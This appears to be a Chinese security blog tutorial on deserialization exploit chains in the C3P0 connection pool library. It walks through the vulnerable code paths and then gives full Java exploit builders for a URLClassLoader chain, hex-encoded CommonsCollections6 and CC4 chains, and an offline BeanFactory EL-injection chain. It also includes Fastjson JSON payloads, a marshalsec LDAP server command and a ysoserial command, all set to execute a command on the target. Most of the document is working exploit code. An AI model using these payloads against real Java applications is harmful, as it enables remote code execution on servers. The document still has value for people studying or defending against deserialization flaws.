C3P0反序列化
C3P0
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。c3p0具有自动回收空闲连接功能。
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
利用链
URLClassLoader利用链
漏洞点在PoolBackedDataSourceBase
先看序列化的过程,进入PoolBackedDataSourceBase
这个类看看writeObject
先将当前对象的connectionPoolDataSource
属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource
属性用ReferenceIndirector.indirectForm
方法处理后再进行序列化操作,我们跟进ReferenceIndirector.indirectForm
方法。
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
private static class ReferenceSerialized implements IndirectlySerialized
{
Reference reference; //!!!!!
Name name;
Name contextName;
Hashtable env;
...
此方法会调用connectionPoolDataSource
属性的getReference
方法,并用返回结果作为参数实例化一个ReferenceSerialized
对象,然后将ReferenceSerialized
对象返回,ReferenceSerialized
被序列化
可以看出reference是可以被我们控制的,接下来看反序列化的操作,readShort
获取版本号为1,往下走,
首先获取了反序列化后的对象,然后再判断这个对象o
是否实现了IndirectlySerialized
接口,在ReferenceIndirector
的内部类ReferenceSerialized
中实现了这个接口,所以通过判断,调用了o的getObject
方法
跟进getObject
方法
跟进ReferenceableUtils.referenceToObject
,由于ref
是在序列化的时候可以控制的参数,那么fClassName
自然也是可以控制的属性,下面就调用了URLClassLoader实例化我们的远程恶意类。
这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize
的值为true,也就是会初始化类,恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞
package c3p0;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
public class URLClassLoaderdemo {
public static void main(String[] args) throws Exception{
PoolBackedDataSource z = new PoolBackedDataSource();
Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPool connectionPool = new ConnectionPool("test","http://127.0.0.1:8000/");
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
protected String classFactory = null;
protected String classFactoryLocation = null;
public ConnectionPool(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {return new Reference("ref",classFactory,classFactoryLocation);}
@Override
public PooledConnection getPooledConnection() throws SQLException {return null;}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}
@Override
public PrintWriter getLogWriter() throws SQLException {return null;}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {}
@Override
public void setLoginTimeout(int seconds) throws SQLException {}
@Override
public int getLoginTimeout() throws SQLException {return 0;}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}
}
}
JNDI注入 FastJson
在fastjson,jackson环境中可用
JndiRefForwardingDataSource
的dereference()
方法中有lookup,并且jndiName
通过getJndiName()
获取
在com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()
调用了 dereference() 方法
而 setLogWriter 和 setLoginTimeout 两个 setter 方法调用了 inner() 方法
public void setLogWriter(PrintWriter out) throws SQLException {
this.inner().setLogWriter(out);
}
// ...
public void setLoginTimeout(int seconds) throws SQLException {
this.inner().setLoginTimeout(seconds);
}
就符合了fastjson的利用条件,那么可以用工具起一个LDAP server恶意利用
python -m http.server 7777
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:9999/test", "loginTimeout":1}
hex序列化字节加载器
这个链自能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件
在WrapperConnectionPoolDataSource
的构造方法下
调用了C3P0ImplUtils.parseUserOverridesAsString
,跟进
当userOverridesAsString
不为空进入if
首先会用substring
对userOverridesAsString
进行截取,将HASM_HEADER
头和最后一位的;扣掉
而HASM_HEADER
是一个私有的常量
将十六进制转成字节数组,最后再强转为map
对象,跟进fromByteArray
最后到deserializeFromByteArray去readObject
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}
cc6:
package c3p0;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class hex_cc6 {
public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"bbb");
lazyMap.remove("Atkx");
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return hashMap2;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
String hex = toHexAscii(tobyteArray(exp()));
System.out.println(hex);
//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
}
cc4:
package c3p0;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class hex_cc4 {
public static PriorityQueue CC4() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
//name字段
Field nameField = templatesclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Atkx");
//恶意bytecode字段
Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes");
bytecodeFiled.setAccessible(true);
byte[] code = Tools.getBytes("c3p0.evil");
byte[][] codes = {code};
bytecodeFiled.set(templates,codes);
//工厂类字段
Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl() {
});
//调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{ Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
return priorityQueue;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws Exception {
String hex = toHexAscii(tobyteArray(CC4()));
System.out.println(hex);
//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
}
或者直接加载恶意反序列化对象来执行
java -jar ysoserial.jar CommonsCollections6 "calc" > calc.bin
package c3p0;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class hex_alltohex {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("E:\\ONE-FOX集成工具箱_V8公开版_by狐狸\\gui_scan\\yso\\calc.bin");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
直接搭配fastjson的payload去打即可
不出网利用
在JNDI高版本利用中,我们可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()
方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory
进行EL表达式注入
C3P0中利用URLClassLoader进行任意类加载的攻击方式,在实例化完我们的恶意类之后,调用了恶意类ObjectFactory.getObjectInstance()
。由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory
类。在不出网的条件下可以进行EL表达式注入,利用方式类似JNDI的高版本绕过。当然这种利用方式需要存在Tomcat8相关依赖环境
和URLClassLoader利用链的调用链一样,只是最后不通过URLClassLoader加载远程字节码实例化远程类了,通过本地类的加载来进行EL表达式注入
package c3p0;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
public class c3p0_nointernet {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null);
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static final class ConnectionPool implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public ConnectionPool ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "calc";
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")"));
return ref;
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
}